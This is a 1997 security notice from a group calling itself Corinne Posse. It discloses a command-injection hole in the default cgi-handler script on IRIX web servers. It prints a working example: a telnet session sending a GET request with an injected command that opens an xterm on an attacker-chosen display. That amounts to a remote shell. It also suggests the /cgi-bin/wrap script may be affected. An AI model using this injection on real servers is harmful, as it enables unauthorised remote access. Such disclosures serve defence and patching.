CPSR 7: IRIX WWW Server

[releases () CORINNE MAC EDU (Corinne Posse Releases)]

 ************** Corinne Posse Security Notice  **************
Issue Number 7: 970723
 *****************  http://posse.cpio.org  ******************

** (Please note our new address at cpio.org !!!) **

**** Systems Security and Safety-- known breech ****

Systems Affected:
ALL IRIX systems (Including 6.4) with the default web server installed,
any web server with the "cgi-handler" script installed.

Quite a while ago, Razvan Dragomirescu (drazvan () kappa ro) released a
report on the default cgi-handler scripts that ship with IRIX systems
with web servers, and some other web server programs. Just like with
the phf bug, with the cgi-handler bug a malicious user could start
an xterm from the server machine on their own system.

Example:

telnet www.highly.respectable.bank.com 80
Trying 300.300.300.1...
Connected to www.highly.respectable.bank.com
Escape character is '^]'.
GET /cgi-bin/handler/blah;xwsh  -display        yourhost.com|?data=Download

Please note the format of the "GET" querey. The above assumes xwsh is in the
PATH somewhere, and the "space" between "xwsh" and "-display" sould be a TAB.

In addition, please note that in theory this should also work for
/cgi-bin/wrap CGI script.

Concept by: jack0 () cpio org and others
Tested by: jack0 () cpio org
Edited by: jkatz () cpio org